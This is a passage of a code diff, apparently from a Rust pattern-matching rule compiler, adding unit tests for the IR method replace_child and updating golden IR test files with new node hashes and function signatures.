Expr::EqMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::EqMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::IEqualsMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::IEqualsMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::ContainsMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::ContainsMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::IContainsMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::IContainsMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::StartsWithMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::StartsWithMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::IStartsWithMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::IStartsWithMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::EndsWithMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::EndsWithMany { lhs, .. } if lhs == repl)); + + let mut expr = + Expr::IEndsWithMany { lhs: c1, literal_set: LiteralSetId::from(0) }; + expr.replace_child(c1, repl); + assert!(matches!(expr, Expr::IEndsWithMany { lhs, .. } if lhs == repl)); + // PatternMatch (Anchor At/In) let mut expr = Expr::PatternMatch { pattern: PatternIdx::from(0), @@ -361,26 +419,30 @@ fn replace_child() { matches!(&expr, Expr::FuncCall(fc) if fc.object == Some(c1) && fc.args == vec![repl]) ); + let c3 = ExprId::from(4); + let c4 = ExprId::from(5); + // OfExprTuple let mut expr = Expr::OfExprTuple(Box::new(OfExprTuple { quantifier: Quantifier::Percentage(c1), items: vec![c2], for_vars: make_for_vars(), - anchor: MatchAnchor::At(c1), + anchor: MatchAnchor::At(c3), })); expr.replace_child(c1, repl); - assert!( - matches!(&expr, Expr::OfExprTuple(of) if matches!(of.anchor, MatchAnchor::At(a) if a == repl)) - ); - - let mut expr = Expr::OfExprTuple(Box::new(OfExprTuple { - quantifier: Quantifier::Percentage(c1), - items: vec![c2], - for_vars: make_for_vars(), - anchor: MatchAnchor::At(c1), - })); + assert!(matches!( + &expr, + Expr::OfExprTuple(of) + if matches!(of.quantifier, Quantifier::Percentage(q) if q == repl) + )); expr.replace_child(c2, repl); assert!(matches!(&expr, Expr::OfExprTuple(of) if of.items == vec![repl])); + expr.replace_child(c3, repl); + assert!(matches!( + &expr, + Expr::OfExprTuple(of) + if matches!(of.anchor, MatchAnchor::At(a) if a == repl) + )); // OfPatternSet let mut expr = Expr::OfPatternSet(Box::new(OfPatternSet { @@ -389,6 +451,12 @@ fn replace_child() { for_vars: make_for_vars(), anchor: MatchAnchor::At(c2), })); + expr.replace_child(c1, repl); + assert!(matches!( + &expr, + Expr::OfPatternSet(of) + if matches!(of.quantifier, Quantifier::Percentage(q) if q == repl) + )); expr.replace_child(c2, repl); assert!( matches!(&expr, Expr::OfPatternSet(of) if matches!(of.anchor, MatchAnchor::At(a) if a == repl)) @@ -420,23 +488,55 @@ fn replace_child() { quantifier: Quantifier::Percentage(c1), variables: vec![], for_vars: make_for_vars(), - iterable: Iterable::Range(Range { lower_bound: c1, upper_bound: c2 }), - body: c2, + iterable: Iterable::Range(Range { lower_bound: c2, upper_bound: c3 }), + body: c4, })); expr.replace_child(c1, repl); assert!( matches!(&expr, Expr::ForIn(fi) if matches!(fi.quantifier, Quantifier::Percentage(q) if q == repl)) ); + expr.replace_child(c2, repl); + assert!(matches!( + &expr, + Expr::ForIn(fi) + if matches!(&fi.iterable, Iterable::Range(r) if r.lower_bound == repl && r.upper_bound == c3) + )); + expr.replace_child(c3, repl); + assert!(matches!( + &expr, + Expr::ForIn(fi) + if matches!(&fi.iterable, Iterable::Range(r) if r.lower_bound == repl && r.upper_bound == repl) + )); + expr.replace_child(c4, repl); + assert!(matches!(&expr, Expr::ForIn(fi) if fi.body == repl)); let mut expr = Expr::ForIn(Box::new(ForIn { - quantifier: Quantifier::Percentage(c1), + quantifier: Quantifier::Any, variables: vec![], for_vars: make_for_vars(), - iterable: Iterable::Range(Range { lower_bound: c1, upper_bound: c2 }), - body: c2, + iterable: Iterable::ExprTuple(vec![c1, c2]), + body: c3, })); expr.replace_child(c2, repl); - assert!(matches!(&expr, Expr::ForIn(fi) if fi.body == repl)); + assert!(matches!( + &expr, + Expr::ForIn(fi) + if matches!(&fi.iterable, Iterable::ExprTuple(items) if items == &vec![c1, repl]) + )); + + let mut expr = Expr::ForIn(Box::new(ForIn { + quantifier: Quantifier::Any, + variables: vec![], + for_vars: make_for_vars(), + iterable: Iterable::Expr(c1), + body: c2, + })); + expr.replace_child(c1, repl); + assert!(matches!( + &expr, + Expr::ForIn(fi) + if matches!(fi.iterable, Iterable::Expr(e) if e == repl) + )); // Lookup let mut expr = Expr::Lookup(Box::new(Lookup { diff --git a/lib/src/compiler/ir/tests/testdata/1.cse.ir b/lib/src/compiler/ir/tests/testdata/1.cse.ir index 24d66594e..c493ccd9d 100644 --- a/lib/src/compiler/ir/tests/testdata/1.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/1.cse.ir @@ -1,77 +1,75 @@ RULE test_1 - 6: EQ -- hash: 0xbc578eceb5139ff6 + 6: EQ -- hash: 0x63dd2c34aff5373d 4: CONST integer(1) 5: CONST integer(1) RULE test_2 - 10: EQ -- hash: 0xa60cf135438e6090 - 8: SUB -- hash: 0xdc58c9f57c354387 - 4: ADD -- hash: 0x73cffc9d7ea6b7e5 - 2: FIELD_ACCESS -- hash: 0x4a147f30f75a8a38 + 10: EQ -- hash: 0x3125eb3a6b6c07b2 + 8: SUB -- hash: 0x66d1dabc8be69928 + 4: ADD -- hash: 0xf6e41d5b3a4ed25e + 2: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) - 7: FIELD_ACCESS -- hash: 0x4a147f30f75a8a38 + 7: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(1) RULE test_3 - 6: GT -- hash: 0x61dcf8602bb009ae - 4: DIV -- hash: 0x8a6d566de890e50c - 2: CONST integer(2) - 3: CONST integer(1) + 6: GT -- hash: 0x1b5044163ce64b4e + 4: CONST integer(2) 5: CONST integer(1) RULE test_4 - 6: LE -- hash: 0x6046db8bec76f9db + 6: LE -- hash: 0x7cc78f1e7589122 4: CONST integer(2) 5: CONST integer(2) RULE test_5 - 6: EQ -- hash: 0xce980a3b0dd2d7cf + 6: EQ -- hash: 0x761da7a104b46f16 4: CONST integer(8) 5: CONST integer(8) RULE test_6 - 9: EQ -- hash: 0x94adc1565ee528a6 + 9: EQ -- hash: 0x3c335ebc55c6bfed 2: CONST integer(3) 8: CONST integer(1) RULE test_7 - 8: AND -- hash: 0x5ff91274637c63b1 - 4: EQ -- hash: 0x2e8ba46ec7871b51 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 8: AND -- hash: 0xe30d33321f247e2a + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) RULE test_8 - 5: ADD -- hash: 0x1d972cb4137a7747 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 5: ADD -- hash: 0x1bcab38ceaedafc4 + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) 4: CONST integer(2) RULE test_9 - 18: AND -- hash: 0x87ea037bd606baac - 2: CONTAINS -- hash: 0xbabdc2c62427fdc + 18: AND -- hash: 0xb5086cf4e50137b8 + 2: CONTAINS -- hash: 0x8f728594cbd2f67e 0: CONST string("foobar") 1: CONST string("bar") - 5: ICONTAINS -- hash: 0xc2864620e881ca78 + 5: ICONTAINS -- hash: 0x464cef895212411b 3: CONST string("foobar") 4: CONST string("BAR") - 8: STARTS_WITH -- hash: 0x58ec6fc7a36541b2 + 8: STARTS_WITH -- hash: 0xdcb3193008f5b854 6: CONST string("foobar") 7: CONST string("foo") - 11: ISTARTS_WITH -- hash: 0x3965d2a92aab2a87 + 11: ISTARTS_WITH -- hash: 0xbd2c7c11903ba129 9: CONST string("foobar") 10: CONST string("FOO") - 14: ENDS_WITH -- hash: 0xe536fb2e32265590 + 14: ENDS_WITH -- hash: 0x68fda4969bb6cc33 12: CONST string("foobar") 13: CONST string("bar") - 17: IENDS_WITH -- hash: 0x9c116522b865a02d + 17: IENDS_WITH -- hash: 0x1fd80e8b21f616d0 15: CONST string("foobar") 16: CONST string("BAR") diff --git a/lib/src/compiler/ir/tests/testdata/1.hoisting.ir b/lib/src/compiler/ir/tests/testdata/1.hoisting.ir index 24d66594e..c493ccd9d 100644 --- a/lib/src/compiler/ir/tests/testdata/1.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/1.hoisting.ir @@ -1,77 +1,75 @@ RULE test_1 - 6: EQ -- hash: 0xbc578eceb5139ff6 + 6: EQ -- hash: 0x63dd2c34aff5373d 4: CONST integer(1) 5: CONST integer(1) RULE test_2 - 10: EQ -- hash: 0xa60cf135438e6090 - 8: SUB -- hash: 0xdc58c9f57c354387 - 4: ADD -- hash: 0x73cffc9d7ea6b7e5 - 2: FIELD_ACCESS -- hash: 0x4a147f30f75a8a38 + 10: EQ -- hash: 0x3125eb3a6b6c07b2 + 8: SUB -- hash: 0x66d1dabc8be69928 + 4: ADD -- hash: 0xf6e41d5b3a4ed25e + 2: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) - 7: FIELD_ACCESS -- hash: 0x4a147f30f75a8a38 + 7: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(1) RULE test_3 - 6: GT -- hash: 0x61dcf8602bb009ae - 4: DIV -- hash: 0x8a6d566de890e50c - 2: CONST integer(2) - 3: CONST integer(1) + 6: GT -- hash: 0x1b5044163ce64b4e + 4: CONST integer(2) 5: CONST integer(1) RULE test_4 - 6: LE -- hash: 0x6046db8bec76f9db + 6: LE -- hash: 0x7cc78f1e7589122 4: CONST integer(2) 5: CONST integer(2) RULE test_5 - 6: EQ -- hash: 0xce980a3b0dd2d7cf + 6: EQ -- hash: 0x761da7a104b46f16 4: CONST integer(8) 5: CONST integer(8) RULE test_6 - 9: EQ -- hash: 0x94adc1565ee528a6 + 9: EQ -- hash: 0x3c335ebc55c6bfed 2: CONST integer(3) 8: CONST integer(1) RULE test_7 - 8: AND -- hash: 0x5ff91274637c63b1 - 4: EQ -- hash: 0x2e8ba46ec7871b51 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 8: AND -- hash: 0xe30d33321f247e2a + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) RULE test_8 - 5: ADD -- hash: 0x1d972cb4137a7747 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 5: ADD -- hash: 0x1bcab38ceaedafc4 + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) 4: CONST integer(2) RULE test_9 - 18: AND -- hash: 0x87ea037bd606baac - 2: CONTAINS -- hash: 0xbabdc2c62427fdc + 18: AND -- hash: 0xb5086cf4e50137b8 + 2: CONTAINS -- hash: 0x8f728594cbd2f67e 0: CONST string("foobar") 1: CONST string("bar") - 5: ICONTAINS -- hash: 0xc2864620e881ca78 + 5: ICONTAINS -- hash: 0x464cef895212411b 3: CONST string("foobar") 4: CONST string("BAR") - 8: STARTS_WITH -- hash: 0x58ec6fc7a36541b2 + 8: STARTS_WITH -- hash: 0xdcb3193008f5b854 6: CONST string("foobar") 7: CONST string("foo") - 11: ISTARTS_WITH -- hash: 0x3965d2a92aab2a87 + 11: ISTARTS_WITH -- hash: 0xbd2c7c11903ba129 9: CONST string("foobar") 10: CONST string("FOO") - 14: ENDS_WITH -- hash: 0xe536fb2e32265590 + 14: ENDS_WITH -- hash: 0x68fda4969bb6cc33 12: CONST string("foobar") 13: CONST string("bar") - 17: IENDS_WITH -- hash: 0x9c116522b865a02d + 17: IENDS_WITH -- hash: 0x1fd80e8b21f616d0 15: CONST string("foobar") 16: CONST string("BAR") diff --git a/lib/src/compiler/ir/tests/testdata/1.ir b/lib/src/compiler/ir/tests/testdata/1.ir index 24d66594e..c493ccd9d 100644 --- a/lib/src/compiler/ir/tests/testdata/1.ir +++ b/lib/src/compiler/ir/tests/testdata/1.ir @@ -1,77 +1,75 @@ RULE test_1 - 6: EQ -- hash: 0xbc578eceb5139ff6 + 6: EQ -- hash: 0x63dd2c34aff5373d 4: CONST integer(1) 5: CONST integer(1) RULE test_2 - 10: EQ -- hash: 0xa60cf135438e6090 - 8: SUB -- hash: 0xdc58c9f57c354387 - 4: ADD -- hash: 0x73cffc9d7ea6b7e5 - 2: FIELD_ACCESS -- hash: 0x4a147f30f75a8a38 + 10: EQ -- hash: 0x3125eb3a6b6c07b2 + 8: SUB -- hash: 0x66d1dabc8be69928 + 4: ADD -- hash: 0xf6e41d5b3a4ed25e + 2: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) - 7: FIELD_ACCESS -- hash: 0x4a147f30f75a8a38 + 7: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(1) RULE test_3 - 6: GT -- hash: 0x61dcf8602bb009ae - 4: DIV -- hash: 0x8a6d566de890e50c - 2: CONST integer(2) - 3: CONST integer(1) + 6: GT -- hash: 0x1b5044163ce64b4e + 4: CONST integer(2) 5: CONST integer(1) RULE test_4 - 6: LE -- hash: 0x6046db8bec76f9db + 6: LE -- hash: 0x7cc78f1e7589122 4: CONST integer(2) 5: CONST integer(2) RULE test_5 - 6: EQ -- hash: 0xce980a3b0dd2d7cf + 6: EQ -- hash: 0x761da7a104b46f16 4: CONST integer(8) 5: CONST integer(8) RULE test_6 - 9: EQ -- hash: 0x94adc1565ee528a6 + 9: EQ -- hash: 0x3c335ebc55c6bfed 2: CONST integer(3) 8: CONST integer(1) RULE test_7 - 8: AND -- hash: 0x5ff91274637c63b1 - 4: EQ -- hash: 0x2e8ba46ec7871b51 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 8: AND -- hash: 0xe30d33321f247e2a + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) RULE test_8 - 5: ADD -- hash: 0x1d972cb4137a7747 - 2: FIELD_ACCESS -- hash: 0xcfb0ade44793171f + 5: ADD -- hash: 0x1bcab38ceaedafc4 + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) 4: CONST integer(2) RULE test_9 - 18: AND -- hash: 0x87ea037bd606baac - 2: CONTAINS -- hash: 0xbabdc2c62427fdc + 18: AND -- hash: 0xb5086cf4e50137b8 + 2: CONTAINS -- hash: 0x8f728594cbd2f67e 0: CONST string("foobar") 1: CONST string("bar") - 5: ICONTAINS -- hash: 0xc2864620e881ca78 + 5: ICONTAINS -- hash: 0x464cef895212411b 3: CONST string("foobar") 4: CONST string("BAR") - 8: STARTS_WITH -- hash: 0x58ec6fc7a36541b2 + 8: STARTS_WITH -- hash: 0xdcb3193008f5b854 6: CONST string("foobar") 7: CONST string("foo") - 11: ISTARTS_WITH -- hash: 0x3965d2a92aab2a87 + 11: ISTARTS_WITH -- hash: 0xbd2c7c11903ba129 9: CONST string("foobar") 10: CONST string("FOO") - 14: ENDS_WITH -- hash: 0xe536fb2e32265590 + 14: ENDS_WITH -- hash: 0x68fda4969bb6cc33 12: CONST string("foobar") 13: CONST string("bar") - 17: IENDS_WITH -- hash: 0x9c116522b865a02d + 17: IENDS_WITH -- hash: 0x1fd80e8b21f616d0 15: CONST string("foobar") 16: CONST string("BAR") diff --git a/lib/src/compiler/ir/tests/testdata/1.no-folding.ir b/lib/src/compiler/ir/tests/testdata/1.no-folding.ir index b5837a104..17504ffc3 100644 --- a/lib/src/compiler/ir/tests/testdata/1.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/1.no-folding.ir @@ -1,68 +1,68 @@ RULE test_1 - 6: EQ -- hash: 0xc7498012998dc23 - 4: SUB -- hash: 0x5de9f21a44838878 - 2: ADD -- hash: 0xd2fa3e8c5b9fd0fb + 6: EQ -- hash: 0x888ffaae1a5a9c11 + 4: SUB -- hash: 0xa897e6c199500006 + 2: ADD -- hash: 0x7a7fdbf252816842 0: CONST integer(1) 1: CONST integer(1) 3: CONST integer(1) 5: CONST integer(1) RULE test_2 - 10: EQ -- hash: 0xfb622d3fda4c9468 - 8: SUB -- hash: 0x38aff83d94a3aa25 - 4: ADD -- hash: 0xaa45310763b4b319 - 2: FIELD_ACCESS -- hash: 0xe58b5f97183b1a0c + 10: EQ -- hash: 0x3125eb3a6b6c07b2 + 8: SUB -- hash: 0x66d1dabc8be69928 + 4: ADD -- hash: 0xf6e41d5b3a4ed25e + 2: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) - 7: FIELD_ACCESS -- hash: 0xe58b5f97183b1a0c + 7: FIELD_ACCESS -- hash: 0x6e5d7bffd4560b93 5: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 6: SYMBOL Field { index: 13, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 9: CONST integer(1) RULE test_3 - 6: GT -- hash: 0x6f05ae7a8b19576e - 4: DIV -- hash: 0x33f6acf40bfce746 - 2: MUL -- hash: 0x3391d9c94bf86b8 + 6: GT -- hash: 0xeb2111277bdb175c + 4: DIV -- hash: 0x7ea4a19b5cc95ed4 + 2: MUL -- hash: 0xaabebb028fa11dfe 0: CONST integer(1) 1: CONST integer(2) 3: CONST integer(1) 5: CONST integer(1) RULE test_4 - 6: LE -- hash: 0x94cc57b0e87ee022 - 4: SHR -- hash: 0xfcaac0eae066696c - 2: SHL -- hash: 0x560670a37a22b641 + 6: LE -- hash: 0x10e7ba5dd940a011 + 4: SHR -- hash: 0x4758b5923532e0fb + 2: SHL -- hash: 0xfd8c0e0971044d87 0: CONST integer(1) 1: CONST integer(2) 3: CONST integer(1) 5: CONST integer(2) RULE test_5 - 6: EQ -- hash: 0xeb353eeba0e329e3 - 4: SUB -- hash: 0x3e023f7bf097d869 + 6: EQ -- hash: 0x34e849e00366f33b + 4: SUB -- hash: 0x52ba5fe9b69dfa3b 0: CONST integer(4) - 3: MUL -- hash: 0x3eb7d1d11a0539b0 + 3: MUL -- hash: 0xe63d6f3710e6d0f6 1: CONST integer(-2) 2: CONST integer(2) 5: CONST integer(8) RULE test_6 - 9: EQ -- hash: 0x4a78a326637b7d9d - 2: BITWISE_XOR -- hash: 0x64bffdddf74ef466 + 9: EQ -- hash: 0x6ef9e1cd4ec240f1 + 2: BITWISE_XOR -- hash: 0xc459b43ee308bad 0: CONST integer(2) 1: CONST integer(1) - 8: BITWISE_OR -- hash: 0x1dc12c2d28b77480 - 6: BITWISE_AND -- hash: 0x9c63b389ed56b277 - 4: BITWISE_NOT -- hash: 0x551649e0ddd39ce + 8: BITWISE_OR -- hash: 0x686f20d47d83ec0e + 6: BITWISE_AND -- hash: 0x43e950efe43849be + 4: BITWISE_NOT -- hash: 0x3c0f28aae9f52de9 3: CONST integer(1) 5: CONST integer(1) 7: CONST integer(1) RULE test_7 - 8: AND -- hash: 0x6c4794a019f8a3c6 - 4: EQ -- hash: 0x6500d8d8a8951685 - 2: FIELD_ACCESS -- hash: 0x6b278e4a6873a6f4 + 8: AND -- hash: 0x11975ab65120a143 + 4: EQ -- hash: 0xb19fc52c832f35ca + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(0) @@ -71,31 +71,31 @@ RULE test_7 6: CONST boolean(false) RULE test_8 - 5: ADD -- hash: 0x52c16f85b5684320 - 2: FIELD_ACCESS -- hash: 0x6b278e4a6873a6f4 + 5: ADD -- hash: 0x1bcab38ceaedafc4 + 2: FIELD_ACCESS -- hash: 0xf3f9aab3248e987a 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 1, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 3: CONST integer(1) 4: CONST integer(2) RULE test_9 - 18: AND -- hash: 0x87ea037bd606baac - 2: CONTAINS -- hash: 0xbabdc2c62427fdc + 18: AND -- hash: 0xb5086cf4e50137b8 + 2: CONTAINS -- hash: 0x8f728594cbd2f67e 0: CONST string("foobar") 1: CONST string("bar") - 5: ICONTAINS -- hash: 0xc2864620e881ca78 + 5: ICONTAINS -- hash: 0x464cef895212411b 3: CONST string("foobar") 4: CONST string("BAR") - 8: STARTS_WITH -- hash: 0x58ec6fc7a36541b2 + 8: STARTS_WITH -- hash: 0xdcb3193008f5b854 6: CONST string("foobar") 7: CONST string("foo") - 11: ISTARTS_WITH -- hash: 0x3965d2a92aab2a87 + 11: ISTARTS_WITH -- hash: 0xbd2c7c11903ba129 9: CONST string("foobar") 10: CONST string("FOO") - 14: ENDS_WITH -- hash: 0xe536fb2e32265590 + 14: ENDS_WITH -- hash: 0x68fda4969bb6cc33 12: CONST string("foobar") 13: CONST string("bar") - 17: IENDS_WITH -- hash: 0x9c116522b865a02d + 17: IENDS_WITH -- hash: 0x1fd80e8b21f616d0 15: CONST string("foobar") 16: CONST string("BAR") diff --git a/lib/src/compiler/ir/tests/testdata/10.cse.ir b/lib/src/compiler/ir/tests/testdata/10.cse.ir index 510fcb584..3fa50077e 100644 --- a/lib/src/compiler/ir/tests/testdata/10.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/10.cse.ir @@ -1,5 +1,5 @@ RULE test - 13: FOR_IN -- hash: 0xfd14d4882d1f6026 + 13: FOR_IN -- hash: 0x82a512b8d3920249 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,15 +7,15 @@ RULE test item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(10) - 12: WITH -- hash: 0xe5f28003804fec06 - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xedfbb8eef52ecd47 - 5: ADD -- hash: 0xd087500d7c07b7de - 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 12: WITH -- hash: 0x44df1392ee3101eb + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xa189dd082d8ed2b4 + 5: ADD -- hash: 0x488bc3291b41f205 + 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 4: CONST integer(16) - 8: FN_CALL uint32be@offset:i@i:R0:4294967295u -- hash: 0xae9a6e5779a03664 + 8: FN_CALL uint32be@offset:i64@u32u -- hash: 0xe377691a11744a33 7: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: integer(unknown) } - 11: NE -- hash: 0x2475e24cefdb3f3e + 11: NE -- hash: 0x7948f7fe695eb29b 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 8 }, type_value: integer(unknown) } 10: CONST integer(1347092738) diff --git a/lib/src/compiler/ir/tests/testdata/10.hoisting.ir b/lib/src/compiler/ir/tests/testdata/10.hoisting.ir index 510fcb584..3fa50077e 100644 --- a/lib/src/compiler/ir/tests/testdata/10.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/10.hoisting.ir @@ -1,5 +1,5 @@ RULE test - 13: FOR_IN -- hash: 0xfd14d4882d1f6026 + 13: FOR_IN -- hash: 0x82a512b8d3920249 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,15 +7,15 @@ RULE test item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(10) - 12: WITH -- hash: 0xe5f28003804fec06 - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xedfbb8eef52ecd47 - 5: ADD -- hash: 0xd087500d7c07b7de - 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 12: WITH -- hash: 0x44df1392ee3101eb + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xa189dd082d8ed2b4 + 5: ADD -- hash: 0x488bc3291b41f205 + 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 4: CONST integer(16) - 8: FN_CALL uint32be@offset:i@i:R0:4294967295u -- hash: 0xae9a6e5779a03664 + 8: FN_CALL uint32be@offset:i64@u32u -- hash: 0xe377691a11744a33 7: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: integer(unknown) } - 11: NE -- hash: 0x2475e24cefdb3f3e + 11: NE -- hash: 0x7948f7fe695eb29b 9: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 8 }, type_value: integer(unknown) } 10: CONST integer(1347092738) diff --git a/lib/src/compiler/ir/tests/testdata/10.ir b/lib/src/compiler/ir/tests/testdata/10.ir index 510fcb584..3fa50077e 100644 --- a/lib/src/compiler/ir/tests/testdata/10.ir +++ b/lib/src/compiler/ir/tests/testdata/10.ir @@ -1,5 +1,5 @@ RULE test - 13: FOR_IN -- hash: 0xfd14d4882d1f6026 + 13: FOR_IN -- hash: 0x82a512b8d3920249 n: Var { frame_id: 1, ty: integer, index: 0 } i: Var { frame_id: 1, ty: integer, index: 1 } max_count: Var { frame_id: 1, ty: integer, index: 2 } @@ -7,15 +7,15 @@ RULE test item: Var { frame_id: 1, ty: unknown, index: 4 } 0: CONST integer(1) 1: CONST integer(10) - 12: WITH -- hash: 0xe5f28003804fec06 - 6: FN_CALL uint32@offset:i@i:R0:4294967295u -- hash: 0xedfbb8eef52ecd47 - 5: ADD -- hash: 0xd087500d7c07b7de - 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x96059519ea655987 + 12: WITH -- hash: 0x44df1392ee3101eb + 6: FN_CALL uint32@offset:i64@u32u -- hash: 0xa189dd082d8ed2b4 + 5: ADD -- hash: 0x488bc3291b41f205 + 3: PATTERN_OFFSET PatternIdx(0) INDEX -- hash: 0x607b2cb4aa942ce8 2: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 5 }, type_value: integer(unknown) } 4: CONST integer(16) - 8: FN_CALL uint32be@offset:i@i:R0:4294967295u -- hash: 0xae9a6e5779a03664 + 8: FN_CALL uint32be@offset:i64@u32u -- hash: 0xe377691a11744a33 7: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 7 }, type_value: 